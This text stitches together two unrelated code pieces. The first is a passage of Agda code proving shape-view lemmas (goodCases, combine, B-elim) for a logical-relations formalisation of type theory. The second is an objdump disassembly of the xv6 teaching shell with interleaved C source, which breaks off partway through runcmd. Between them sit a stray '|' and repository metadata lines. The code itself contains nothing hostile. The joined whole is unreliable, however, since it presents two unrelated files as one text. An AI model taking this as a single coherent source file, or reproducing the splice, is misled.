ne-elim neK [K] = ne-elim′ (id (escape [K])) neK [K]
B-elim′ : ∀ {A Γ F G l} W → Γ ⊢ A ⇒* ⟦ W ⟧ F ▹ G → Γ ⊩⟨ l ⟩ A → Γ ⊩⟨ l ⟩B⟨ W ⟩ A
B-elim′ W D (Uᵣ′ l′ l< ⊢Γ) =
⊥-elim (U≢B W (whrDet* (id (Uⱼ ⊢Γ) , Uₙ) (D , ⟦ W ⟧ₙ)))
B-elim′ W D (ℕᵣ D′) =
⊥-elim (ℕ≢B W (whrDet* (red D′ , ℕₙ) (D , ⟦ W ⟧ₙ)))
B-elim′ W D (Emptyᵣ D′) =
⊥-elim (Empty≢B W (whrDet* (red D′ , Emptyₙ) (D , ⟦ W ⟧ₙ)))
B-elim′ W D (Unitᵣ D′) =
⊥-elim (Unit≢B W (whrDet* (red D′ , Unitₙ) (D , ⟦ W ⟧ₙ)))
B-elim′ W D (ne′ K D′ neK K≡K) =
⊥-elim (B≢ne W neK (whrDet* (D , ⟦ W ⟧ₙ) (red D′ , ne neK)))
B-elim′ BΠ D (Bᵣ′ BΣ F G D′ ⊢F ⊢G A≡A [F] [G] G-ext) with whrDet* (D , Πₙ) (red D′ , Σₙ)
... | ()
B-elim′ BΣ D (Bᵣ′ BΠ F G D′ ⊢F ⊢G A≡A [F] [G] G-ext) with whrDet* (D , Σₙ) (red D′ , Πₙ)
... | ()
B-elim′ BΠ D (Bᵣ′ BΠ F G D′ ⊢F ⊢G A≡A [F] [G] G-ext) =
noemb (Bᵣ F G D′ ⊢F ⊢G A≡A [F] [G] G-ext)
B-elim′ BΣ D (Bᵣ′ BΣ F G D′ ⊢F ⊢G A≡A [F] [G] G-ext) =
noemb (Bᵣ F G D′ ⊢F ⊢G A≡A [F] [G] G-ext)
B-elim′ W D (emb 0<1 x) with B-elim′ W D x
B-elim′ W D (emb 0<1 x) | noemb x₁ = emb 0<1 (noemb x₁)
B-elim′ W D (emb 0<1 x) | emb () x₂
B-elim : ∀ {Γ F G l} W → Γ ⊩⟨ l ⟩ ⟦ W ⟧ F ▹ G → Γ ⊩⟨ l ⟩B⟨ W ⟩ ⟦ W ⟧ F ▹ G
B-elim W [Π] = B-elim′ W (id (escape [Π])) [Π]
Π-elim : ∀ {Γ F G l} → Γ ⊩⟨ l ⟩ Π F ▹ G → Γ ⊩⟨ l ⟩B⟨ BΠ ⟩ Π F ▹ G
Π-elim [Π] = B-elim′ BΠ (id (escape [Π])) [Π]
Σ-elim : ∀ {Γ F G l} → Γ ⊩⟨ l ⟩ Σ F ▹ G → Γ ⊩⟨ l ⟩B⟨ BΣ ⟩ Σ F ▹ G
Σ-elim [Σ] = B-elim′ BΣ (id (escape [Σ])) [Σ]
-- Extract a type and a level from a maybe embedding
extractMaybeEmb : ∀ {l ⊩⟨_⟩} → MaybeEmb l ⊩⟨_⟩ → ∃ λ l′ → ⊩⟨ l′ ⟩
extractMaybeEmb (noemb x) = _ , x
extractMaybeEmb (emb 0<1 x) = extractMaybeEmb x
-- A view for constructor equality of types where embeddings are ignored
data ShapeView Γ : ∀ l l′ A B (p : Γ ⊩⟨ l ⟩ A) (q : Γ ⊩⟨ l′ ⟩ B) → Set where
Uᵥ : ∀ {l l′} UA UB → ShapeView Γ l l′ U U (Uᵣ UA) (Uᵣ UB)
ℕᵥ : ∀ {A B l l′} ℕA ℕB → ShapeView Γ l l′ A B (ℕᵣ ℕA) (ℕᵣ ℕB)
Emptyᵥ : ∀ {A B l l′} EmptyA EmptyB → ShapeView Γ l l′ A B (Emptyᵣ EmptyA) (Emptyᵣ EmptyB)
Unitᵥ : ∀ {A B l l′} UnitA UnitB → ShapeView Γ l l′ A B (Unitᵣ UnitA) (Unitᵣ UnitB)
ne : ∀ {A B l l′} neA neB
→ ShapeView Γ l l′ A B (ne neA) (ne neB)
Bᵥ : ∀ {A B l l′} W BA BB
→ ShapeView Γ l l′ A B (Bᵣ W BA) (Bᵣ W BB)
emb⁰¹ : ∀ {A B l p q}
→ ShapeView Γ ⁰ l A B p q
→ ShapeView Γ ¹ l A B (emb 0<1 p) q
emb¹⁰ : ∀ {A B l p q}
→ ShapeView Γ l ⁰ A B p q
→ ShapeView Γ l ¹ A B p (emb 0<1 q)
-- Construct an shape view from an equality (aptly named)
goodCases : ∀ {l l′ Γ A B} ([A] : Γ ⊩⟨ l ⟩ A) ([B] : Γ ⊩⟨ l′ ⟩ B)
→ Γ ⊩⟨ l ⟩ A ≡ B / [A] → ShapeView Γ l l′ A B [A] [B]
-- Diagonal cases
goodCases (Uᵣ UA) (Uᵣ UB) A≡B = Uᵥ UA UB
goodCases (ℕᵣ ℕA) (ℕᵣ ℕB) A≡B = ℕᵥ ℕA ℕB
goodCases (Emptyᵣ EmptyA) (Emptyᵣ EmptyB) A≡B = Emptyᵥ EmptyA EmptyB
goodCases (Unitᵣ UnitA) (Unitᵣ UnitB) A≡B = Unitᵥ UnitA UnitB
goodCases (ne neA) (ne neB) A≡B = ne neA neB
goodCases (Bᵣ BΠ ΠA) (Bᵣ BΠ ΠB) A≡B = Bᵥ BΠ ΠA ΠB
goodCases (Bᵣ BΣ ΣA) (Bᵣ BΣ ΣB) A≡B = Bᵥ BΣ ΣA ΣB
--goodCases (Σᵣ ΣA) (Σᵣ ΣB) A≡B = Σᵥ ΣA ΣB
goodCases {l} [A] (emb 0<1 x) A≡B =
emb¹⁰ (goodCases {l} {⁰} [A] x A≡B)
goodCases {l′ = l} (emb 0<1 x) [B] A≡B =
emb⁰¹ (goodCases {⁰} {l} x [B] A≡B)
-- Refutable cases
-- U ≡ _
goodCases (Uᵣ′ _ _ ⊢Γ) (ℕᵣ D) PE.refl with whnfRed* (red D) Uₙ
... | ()
goodCases (Uᵣ′ _ _ ⊢Γ) (Emptyᵣ D) PE.refl with whnfRed* (red D) Uₙ
... | ()
goodCases (Uᵣ′ _ _ ⊢Γ) (Unitᵣ D) PE.refl with whnfRed* (red D) Uₙ
... | ()
goodCases (Uᵣ′ _ _ ⊢Γ) (ne′ K D neK K≡K) PE.refl =
⊥-elim (U≢ne neK (whnfRed* (red D) Uₙ))
goodCases (Uᵣ′ _ _ ⊢Γ) (Bᵣ′ W F G D ⊢F ⊢G A≡A [F] [G] G-ext) PE.refl =
⊥-elim (U≢B W (whnfRed* (red D) Uₙ))
-- ℕ ≡ _
goodCases (ℕᵣ D) (Uᵣ ⊢Γ) A≡B with whnfRed* A≡B Uₙ
... | ()
goodCases (ℕᵣ _) (Emptyᵣ D') D with whrDet* (D , ℕₙ) (red D' , Emptyₙ)
... | ()
goodCases (ℕᵣ x) (Unitᵣ D') D with whrDet* (D , ℕₙ) (red D' , Unitₙ)
... | ()
goodCases (ℕᵣ D) (ne′ K D₁ neK K≡K) A≡B =
⊥-elim (ℕ≢ne neK (whrDet* (A≡B , ℕₙ) (red D₁ , ne neK)))
goodCases (ℕᵣ D) (Bᵣ′ W F G D₁ ⊢F ⊢G A≡A [F] [G] G-ext) A≡B =
⊥-elim (ℕ≢B W (whrDet* (A≡B , ℕₙ) (red D₁ , ⟦ W ⟧ₙ)))
-- Empty ≢ _
goodCases (Emptyᵣ D) (Uᵣ ⊢Γ) A≡B with whnfRed* A≡B Uₙ
... | ()
goodCases (Emptyᵣ _) (Unitᵣ D') D with whrDet* (red D' , Unitₙ) (D , Emptyₙ)
... | ()
goodCases (Emptyᵣ _) (ℕᵣ D') D with whrDet* (red D' , ℕₙ) (D , Emptyₙ)
... | ()
goodCases (Emptyᵣ D) (ne′ K D₁ neK K≡K) A≡B =
⊥-elim (Empty≢ne neK (whrDet* (A≡B , Emptyₙ) (red D₁ , ne neK)))
goodCases (Emptyᵣ D) (Bᵣ′ W F G D₁ ⊢F ⊢G A≡A [F] [G] G-ext) A≡B =
⊥-elim (Empty≢B W (whrDet* (A≡B , Emptyₙ) (red D₁ , ⟦ W ⟧ₙ)))
-- Unit ≡ _
goodCases (Unitᵣ _) (Uᵣ x₁) A≡B with whnfRed* A≡B Uₙ
... | ()
goodCases (Unitᵣ _) (Emptyᵣ D') D with whrDet* (red D' , Emptyₙ) (D , Unitₙ)
... | ()
goodCases (Unitᵣ _) (ℕᵣ D') D with whrDet* (red D' , ℕₙ) (D , Unitₙ)
... | ()
goodCases (Unitᵣ D) (ne′ K D₁ neK K≡K) A≡B =
⊥-elim (Unit≢ne neK (whrDet* (A≡B , Unitₙ) (red D₁ , ne neK)))
goodCases (Unitᵣ D) (Bᵣ′ W F G D₁ ⊢F ⊢G A≡A [F] [G] G-ext) A≡B =
⊥-elim (Unit≢B W (whrDet* (A≡B , Unitₙ) (red D₁ , ⟦ W ⟧ₙ)))
-- ne ≡ _
goodCases (ne′ K D neK K≡K) (Uᵣ ⊢Γ) (ne₌ M D′ neM K≡M) =
⊥-elim (U≢ne neM (whnfRed* (red D′) Uₙ))
goodCases (ne′ K D neK K≡K) (ℕᵣ D₁) (ne₌ M D′ neM K≡M) =
⊥-elim (ℕ≢ne neM (whrDet* (red D₁ , ℕₙ) (red D′ , ne neM)))
goodCases (ne′ K D neK K≡K) (Emptyᵣ D₁) (ne₌ M D′ neM K≡M) =
⊥-elim (Empty≢ne neM (whrDet* (red D₁ , Emptyₙ) (red D′ , ne neM)))
goodCases (ne′ K D neK K≡K) (Unitᵣ D₁) (ne₌ M D′ neM K≡M) =
⊥-elim (Unit≢ne neM (whrDet* (red D₁ , Unitₙ) (red D′ , ne neM)))
goodCases (ne′ K D neK K≡K) (Bᵣ′ W F G D₁ ⊢F ⊢G A≡A [F] [G] G-ext) (ne₌ M D′ neM K≡M) =
⊥-elim (B≢ne W neM (whrDet* (red D₁ , ⟦ W ⟧ₙ) (red D′ , ne neM)))
-- Π ≡ _
goodCases (Bᵣ′ BΠ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (Uᵣ ⊢Γ)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) with whnfRed* D′ Uₙ
... | ()
goodCases (Bᵣ′ BΠ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (ℕᵣ D₁)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) with whrDet* (red D₁ , ℕₙ) (D′ , Πₙ)
... | ()
goodCases (Bᵣ′ BΠ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (Emptyᵣ D₁)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) with whrDet* (red D₁ , Emptyₙ) (D′ , Πₙ)
... | ()
goodCases (Bᵣ′ BΠ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (Unitᵣ D₁)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) with whrDet* (red D₁ , Unitₙ) (D′ , Πₙ)
... | ()
goodCases (Bᵣ′ BΠ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (Bᵣ′ BΣ F′ G′ D′ ⊢F′ ⊢G′ A≡A′ [F]′ [G]′ G-ext′)
(B₌ F′₁ G′₁ D′₁ A≡B [F≡F′] [G≡G′]) with whrDet* (red D′ , Σₙ) (D′₁ , Πₙ)
... | ()
goodCases (Bᵣ′ BΠ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (ne′ K D₁ neK K≡K)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) =
⊥-elim (B≢ne BΠ neK (whrDet* (D′ , Πₙ) (red D₁ , ne neK)))
-- Σ ≡ _
goodCases (Bᵣ′ BΣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (Uᵣ ⊢Γ)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) with whnfRed* D′ Uₙ
... | ()
goodCases (Bᵣ′ BΣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (ℕᵣ D₁)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) with whrDet* (red D₁ , ℕₙ) (D′ , Σₙ)
... | ()
goodCases (Bᵣ′ BΣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (Emptyᵣ D₁)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) with whrDet* (red D₁ , Emptyₙ) (D′ , Σₙ)
... | ()
goodCases (Bᵣ′ BΣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (Unitᵣ D₁)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) with whrDet* (red D₁ , Unitₙ) (D′ , Σₙ)
... | ()
goodCases (Bᵣ′ BΣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (Bᵣ′ BΠ F′ G′ D′ ⊢F′ ⊢G′ A≡A′ [F]′ [G]′ G-ext′)
(B₌ F′₁ G′₁ D′₁ A≡B [F≡F′] [G≡G′]) with whrDet* (red D′ , Πₙ) (D′₁ , Σₙ)
... | ()
goodCases (Bᵣ′ BΣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) (ne′ K D₁ neK K≡K)
(B₌ F′ G′ D′ A≡B [F≡F′] [G≡G′]) =
⊥-elim (B≢ne BΣ neK (whrDet* (D′ , Σₙ) (red D₁ , ne neK)))
-- Construct an shape view between two derivations of the same type
goodCasesRefl : ∀ {l l′ Γ A} ([A] : Γ ⊩⟨ l ⟩ A) ([A′] : Γ ⊩⟨ l′ ⟩ A)
→ ShapeView Γ l l′ A A [A] [A′]
goodCasesRefl [A] [A′] = goodCases [A] [A′] (reflEq [A])
-- A view for constructor equality between three types
data ShapeView₃ Γ : ∀ l l′ l″ A B C
(p : Γ ⊩⟨ l ⟩ A)
(q : Γ ⊩⟨ l′ ⟩ B)
(r : Γ ⊩⟨ l″ ⟩ C) → Set where
Uᵥ : ∀ {l l′ l″} UA UB UC → ShapeView₃ Γ l l′ l″ U U U (Uᵣ UA) (Uᵣ UB) (Uᵣ UC)
ℕᵥ : ∀ {A B C l l′ l″} ℕA ℕB ℕC
→ ShapeView₃ Γ l l′ l″ A B C (ℕᵣ ℕA) (ℕᵣ ℕB) (ℕᵣ ℕC)
Emptyᵥ : ∀ {A B C l l′ l″} EmptyA EmptyB EmptyC
→ ShapeView₃ Γ l l′ l″ A B C (Emptyᵣ EmptyA) (Emptyᵣ EmptyB) (Emptyᵣ EmptyC)
Unitᵥ : ∀ {A B C l l′ l″} UnitA UnitB UnitC
→ ShapeView₃ Γ l l′ l″ A B C (Unitᵣ UnitA) (Unitᵣ UnitB) (Unitᵣ UnitC)
ne : ∀ {A B C l l′ l″} neA neB neC
→ ShapeView₃ Γ l l′ l″ A B C (ne neA) (ne neB) (ne neC)
Bᵥ : ∀ {A B C l l′ l″} W BA BB BC
→ ShapeView₃ Γ l l′ l″ A B C (Bᵣ W BA) (Bᵣ W BB) (Bᵣ W BC)
emb⁰¹¹ : ∀ {A B C l l′ p q r}
→ ShapeView₃ Γ ⁰ l l′ A B C p q r
→ ShapeView₃ Γ ¹ l l′ A B C (emb 0<1 p) q r
emb¹⁰¹ : ∀ {A B C l l′ p q r}
→ ShapeView₃ Γ l ⁰ l′ A B C p q r
→ ShapeView₃ Γ l ¹ l′ A B C p (emb 0<1 q) r
emb¹¹⁰ : ∀ {A B C l l′ p q r}
→ ShapeView₃ Γ l l′ ⁰ A B C p q r
→ ShapeView₃ Γ l l′ ¹ A B C p q (emb 0<1 r)
-- Combines two two-way views into a three-way view
combine : ∀ {Γ l l′ l″ l‴ A B C [A] [B] [B]′ [C]}
→ ShapeView Γ l l′ A B [A] [B]
→ ShapeView Γ l″ l‴ B C [B]′ [C]
→ ShapeView₃ Γ l l′ l‴ A B C [A] [B] [C]
-- Diagonal cases
combine (Uᵥ UA₁ UB₁) (Uᵥ UA UB) = Uᵥ UA₁ UB₁ UB
combine (ℕᵥ ℕA₁ ℕB₁) (ℕᵥ ℕA ℕB) = ℕᵥ ℕA₁ ℕB₁ ℕB
combine (Emptyᵥ EmptyA₁ EmptyB₁) (Emptyᵥ EmptyA EmptyB) = Emptyᵥ EmptyA₁ EmptyB₁ EmptyB
combine (Unitᵥ UnitA₁ UnitB₁) (Unitᵥ UnitA UnitB) = Unitᵥ UnitA₁ UnitB₁ UnitB
combine (ne neA₁ neB₁) (ne neA neB) = ne neA₁ neB₁ neB
combine (Bᵥ BΠ ΠA₁ ΠB₁) (Bᵥ BΠ ΠA ΠB) = Bᵥ BΠ ΠA₁ ΠB₁ ΠB
combine (Bᵥ BΣ ΣA₁ ΣB₁) (Bᵥ BΣ ΣA ΣB) = Bᵥ BΣ ΣA₁ ΣB₁ ΣB
combine (emb⁰¹ [AB]) [BC] = emb⁰¹¹ (combine [AB] [BC])
combine (emb¹⁰ [AB]) [BC] = emb¹⁰¹ (combine [AB] [BC])
combine [AB] (emb⁰¹ [BC]) = combine [AB] [BC]
combine [AB] (emb¹⁰ [BC]) = emb¹¹⁰ (combine [AB] [BC])
-- Refutable cases
-- U ≡ _
combine (Uᵥ UA UB) (ℕᵥ ℕA ℕB) with whnfRed* (red ℕA) Uₙ
... | ()
combine (Uᵥ UA UB) (Emptyᵥ EmptyA EmptyB) with whnfRed* (red EmptyA) Uₙ
... | ()
combine (Uᵥ UA UB) (Unitᵥ UnA UnB) with whnfRed* (red UnA) Uₙ
... | ()
combine (Uᵥ UA UB) (ne (ne K D neK K≡K) neB) =
⊥-elim (U≢ne neK (whnfRed* (red D) Uₙ))
combine (Uᵥ UA UB) (Bᵥ W (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) BB) =
⊥-elim (U≢B W (whnfRed* (red D) Uₙ))
-- ℕ ≡ _
combine (ℕᵥ ℕA ℕB) (Uᵥ UA UB) with whnfRed* (red ℕB) Uₙ
... | ()
combine (ℕᵥ ℕA ℕB) (Emptyᵥ EmptyA EmptyB) with whrDet* (red ℕB , ℕₙ) (red EmptyA , Emptyₙ)
... | ()
combine (ℕᵥ ℕA ℕB) (Unitᵥ UnA UnB) with whrDet* (red ℕB , ℕₙ) (red UnA , Unitₙ)
... | ()
combine (ℕᵥ ℕA ℕB) (ne (ne K D neK K≡K) neB) =
⊥-elim (ℕ≢ne neK (whrDet* (red ℕB , ℕₙ) (red D , ne neK)))
combine (ℕᵥ ℕA ℕB) (Bᵥ W (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) BB) =
⊥-elim (ℕ≢B W (whrDet* (red ℕB , ℕₙ) (red D , ⟦ W ⟧ₙ)))
-- Empty ≡ _
combine (Emptyᵥ EmptyA EmptyB) (Uᵥ UA UB) with whnfRed* (red EmptyB) Uₙ
... | ()
combine (Emptyᵥ EmptyA EmptyB) (ℕᵥ ℕA ℕB) with whrDet* (red EmptyB , Emptyₙ) (red ℕA , ℕₙ)
... | ()
combine (Emptyᵥ EmptyA EmptyB) (Unitᵥ UnA UnB) with whrDet* (red EmptyB , Emptyₙ) (red UnA , Unitₙ)
... | ()
combine (Emptyᵥ EmptyA EmptyB) (ne (ne K D neK K≡K) neB) =
⊥-elim (Empty≢ne neK (whrDet* (red EmptyB , Emptyₙ) (red D , ne neK)))
combine (Emptyᵥ EmptyA EmptyB) (Bᵥ W (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) BB) =
⊥-elim (Empty≢B W (whrDet* (red EmptyB , Emptyₙ) (red D , ⟦ W ⟧ₙ)))
-- Unit ≡ _
combine (Unitᵥ UnitA UnitB) (Uᵥ UA UB) with whnfRed* (red UnitB) Uₙ
... | ()
combine (Unitᵥ UnitA UnitB) (ℕᵥ ℕA ℕB) with whrDet* (red UnitB , Unitₙ) (red ℕA , ℕₙ)
... | ()
combine (Unitᵥ UnitA UnitB) (Emptyᵥ EmptyA EmptyB) with whrDet* (red UnitB , Unitₙ) (red EmptyA , Emptyₙ)
... | ()
combine (Unitᵥ UnitA UnitB) (ne (ne K D neK K≡K) neB) =
⊥-elim (Unit≢ne neK (whrDet* (red UnitB , Unitₙ) (red D , ne neK)))
combine (Unitᵥ UnitA UnitB) (Bᵥ W (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext) BB) =
⊥-elim (Unit≢B W (whrDet* (red UnitB , Unitₙ) (red D , ⟦ W ⟧ₙ)))
-- ne ≡ _
combine (ne neA (ne K D neK K≡K)) (Uᵥ UA UB) =
⊥-elim (U≢ne neK (whnfRed* (red D) Uₙ))
combine (ne neA (ne K D neK K≡K)) (ℕᵥ ℕA ℕB) =
⊥-elim (ℕ≢ne neK (whrDet* (red ℕA , ℕₙ) (red D , ne neK)))
combine (ne neA (ne K D neK K≡K)) (Emptyᵥ EmptyA EmptyB) =
⊥-elim (Empty≢ne neK (whrDet* (red EmptyA , Emptyₙ) (red D , ne neK)))
combine (ne neA (ne K D neK K≡K)) (Unitᵥ UnA UnB) =
⊥-elim (Unit≢ne neK (whrDet* (red UnA , Unitₙ) (red D , ne neK)))
combine (ne neA (ne K D neK K≡K)) (Bᵥ W (Bᵣ F G D₁ ⊢F ⊢G A≡A [F] [G] G-ext) BB) =
⊥-elim (B≢ne W neK (whrDet* (red D₁ , ⟦ W ⟧ₙ) (red D , ne neK)))
-- Π/Σ ≡ _
combine (Bᵥ W BA (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext)) (Uᵥ UA UB) =
⊥-elim (U≢B W (whnfRed* (red D) Uₙ))
combine (Bᵥ W BA (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext)) (ℕᵥ ℕA ℕB) =
⊥-elim (ℕ≢B W (whrDet* (red ℕA , ℕₙ) (red D , ⟦ W ⟧ₙ)))
combine (Bᵥ W BA (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext)) (Emptyᵥ EmptyA EmptyB) =
⊥-elim (Empty≢B W (whrDet* (red EmptyA , Emptyₙ) (red D , ⟦ W ⟧ₙ)))
combine (Bᵥ W BA (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext)) (Unitᵥ UnitA UnitB) =
⊥-elim (Unit≢B W (whrDet* (red UnitA , Unitₙ) (red D , ⟦ W ⟧ₙ)))
combine (Bᵥ W BA (Bᵣ F G D₁ ⊢F ⊢G A≡A [F] [G] G-ext)) (ne (ne K D neK K≡K) neB) =
⊥-elim (B≢ne W neK (whrDet* (red D₁ , ⟦ W ⟧ₙ) (red D , ne neK)))
combine (Bᵥ BΠ ΠA (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext)) (Bᵥ BΣ (Bᵣ F′ G′ D′ ⊢F′ ⊢G′ A≡A′ [F]′ [G]′ G-ext′) ΣA)
with whrDet* (red D , Πₙ) (red D′ , Σₙ)
... | ()
combine (Bᵥ BΣ ΣA (Bᵣ F G D ⊢F ⊢G A≡A [F] [G] G-ext)) (Bᵥ BΠ (Bᵣ F′ G′ D′ ⊢F′ ⊢G′ A≡A′ [F]′ [G]′ G-ext′) ΠA)
with whrDet* (red D , Σₙ) (red D′ , Πₙ)
... | ()
|
out/sh.asm
|
harveydong/learning-xv6
| 0 |
167227
|
.fs/sh: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <main>:
return 0;
}
int
main(void)
{
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
4: be 02 00 00 00 mov $0x2,%esi
9: 48 c7 c7 d1 0f 00 00 mov $0xfd1,%rdi
10: e8 ec 0a 00 00 callq b01 <open>
15: 85 c0 test %eax,%eax
17: 78 68 js 81 <main+0x81>
if(fd >= 3){
19: 83 f8 02 cmp $0x2,%eax
1c: 7e e6 jle 4 <main+0x4>
close(fd);
1e: 89 c7 mov %eax,%edi
20: e8 c4 0a 00 00 callq ae9 <close>
break;
25: eb 5a jmp 81 <main+0x81>
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
27: 80 3d b2 15 00 00 63 cmpb $0x63,0x15b2(%rip) # 15e0 <buf.1503>
2e: 75 68 jne 98 <main+0x98>
30: 80 3d aa 15 00 00 64 cmpb $0x64,0x15aa(%rip) # 15e1 <buf.1503+0x1>
37: 75 5f jne 98 <main+0x98>
39: 80 3d a2 15 00 00 20 cmpb $0x20,0x15a2(%rip) # 15e2 <buf.1503+0x2>
40: 75 56 jne 98 <main+0x98>
// Clumsy but will have to do for now.
// Chdir has no effect on the parent if run in the child.
buf[strlen(buf)-1] = 0; // chop \n
42: 48 c7 c7 e0 15 00 00 mov $0x15e0,%rdi
49: e8 44 09 00 00 callq 992 <strlen>
if(chdir(buf+3) < 0)
4e: 48 c7 c7 e3 15 00 00 mov $0x15e3,%rdi
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
// Clumsy but will have to do for now.
// Chdir has no effect on the parent if run in the child.
buf[strlen(buf)-1] = 0; // chop \n
55: ff c8 dec %eax
57: c6 80 e0 15 00 00 00 movb $0x0,0x15e0(%rax)
if(chdir(buf+3) < 0)
5e: e8 ce 0a 00 00 callq b31 <chdir>
63: 85 c0 test %eax,%eax
65: 79 1a jns 81 <main+0x81>
printf(2, "cannot cd %s\n", buf+3);
67: 48 c7 c2 e3 15 00 00 mov $0x15e3,%rdx
6e: 48 c7 c6 d9 0f 00 00 mov $0xfd9,%rsi
75: bf 02 00 00 00 mov $0x2,%edi
7a: 31 c0 xor %eax,%eax
7c: e8 73 0b 00 00 callq bf4 <printf>
break;
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
81: be 64 00 00 00 mov $0x64,%esi
86: 48 c7 c7 e0 15 00 00 mov $0x15e0,%rdi
8d: e8 2f 00 00 00 callq c1 <getcmd>
92: 85 c0 test %eax,%eax
94: 79 91 jns 27 <main+0x27>
96: eb 24 jmp bc <main+0xbc>
buf[strlen(buf)-1] = 0; // chop \n
if(chdir(buf+3) < 0)
printf(2, "cannot cd %s\n", buf+3);
continue;
}
if(fork1() == 0)
98: e8 8a 00 00 00 callq 127 <fork1>
9d: 85 c0 test %eax,%eax
9f: 75 14 jne b5 <main+0xb5>
runcmd(parsecmd(buf));
a1: 48 c7 c7 e0 15 00 00 mov $0x15e0,%rdi
a8: e8 37 08 00 00 callq 8e4 <parsecmd>
ad: 48 89 c7 mov %rax,%rdi
b0: e8 8e 00 00 00 callq 143 <runcmd>
wait();
b5: e8 0f 0a 00 00 callq ac9 <wait>
ba: eb c5 jmp 81 <main+0x81>
}
exit();
bc: e8 00 0a 00 00 callq ac1 <exit>
00000000000000c1 <getcmd>:
exit();
}
int
getcmd(char *buf, int nbuf)
{
c1: 55 push %rbp
printf(2, "$ ");
c2: 31 c0 xor %eax,%eax
exit();
}
int
getcmd(char *buf, int nbuf)
{
c4: 48 89 e5 mov %rsp,%rbp
c7: 41 54 push %r12
c9: 53 push %rbx
ca: 41 89 f4 mov %esi,%r12d
cd: 48 89 fb mov %rdi,%rbx
printf(2, "$ ");
d0: 48 c7 c6 30 0f 00 00 mov $0xf30,%rsi
d7: bf 02 00 00 00 mov $0x2,%edi
dc: e8 13 0b 00 00 callq bf4 <printf>
memset(buf, 0, nbuf);
e1: 44 89 e2 mov %r12d,%edx
e4: 31 f6 xor %esi,%esi
e6: 48 89 df mov %rbx,%rdi
e9: e8 bc 08 00 00 callq 9aa <memset>
gets(buf, nbuf);
ee: 44 89 e6 mov %r12d,%esi
f1: 48 89 df mov %rbx,%rdi
f4: e8 e1 08 00 00 callq 9da <gets>
f9: 31 c0 xor %eax,%eax
fb: 80 3b 00 cmpb $0x0,(%rbx)
if(buf[0] == 0) // EOF
return -1;
return 0;
}
fe: 5b pop %rbx
ff: 41 5c pop %r12
101: 5d pop %rbp
102: 0f 94 c0 sete %al
105: f7 d8 neg %eax
107: c3 retq
0000000000000108 <panic>:
exit();
}
void
panic(char *s)
{
108: 55 push %rbp
109: 48 89 fa mov %rdi,%rdx
printf(2, "%s\n", s);
10c: 48 c7 c6 cd 0f 00 00 mov $0xfcd,%rsi
113: bf 02 00 00 00 mov $0x2,%edi
118: 31 c0 xor %eax,%eax
exit();
}
void
panic(char *s)
{
11a: 48 89 e5 mov %rsp,%rbp
printf(2, "%s\n", s);
11d: e8 d2 0a 00 00 callq bf4 <printf>
exit();
122: e8 9a 09 00 00 callq ac1 <exit>
0000000000000127 <fork1>:
}
int
fork1(void)
{
127: 55 push %rbp
128: 48 89 e5 mov %rsp,%rbp
int pid;
pid = fork();
12b: e8 89 09 00 00 callq ab9 <fork>
if(pid == -1)
130: 83 f8 ff cmp $0xffffffff,%eax
133: 75 0c jne 141 <fork1+0x1a>
panic("fork");
135: 48 c7 c7 33 0f 00 00 mov $0xf33,%rdi
13c: e8 c7 ff ff ff callq 108 <panic>
return pid;
}
141: 5d pop %rbp
142: c3 retq
0000000000000143 <runcmd>:
struct cmd *parsecmd(char*);
// Execute cmd. Never returns.
void
runcmd(struct cmd *cmd)
{
143: 55 push %rbp
144: 48 89 e5 mov %rsp,%rbp
147: 53 push %rbx
148: 48 83 ec 18 sub $0x18,%rsp
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
14c: 48 85 ff test %rdi,%rdi
14f: 74 6e je 1bf <runcmd+0x7c>
exit();
switch(cmd->type){
151: 8b 07 mov (%rdi),%eax
153: 48 89 fb mov %rdi,%rbx
156: ff c8 dec %eax
158: 83 f8 04 cmp $0x4,%eax
15b: 77 07 ja 164 <runcmd+0x21>
15d: ff 24 c5 e8 0f 00 00 jmpq *0xfe8(,%rax,8)
default:
panic("runcmd");
164: 48 c7 c7 38 0f 00 00 mov $0xf38,%rdi
16b: eb 7f jmp 1ec <runcmd+0xa9>
case EXEC:
ecmd = (struct execcmd*)cmd;
if(ecmd->argv[0] == 0)
16d: 48 8b 7f 08 mov 0x8(%rdi),%rdi
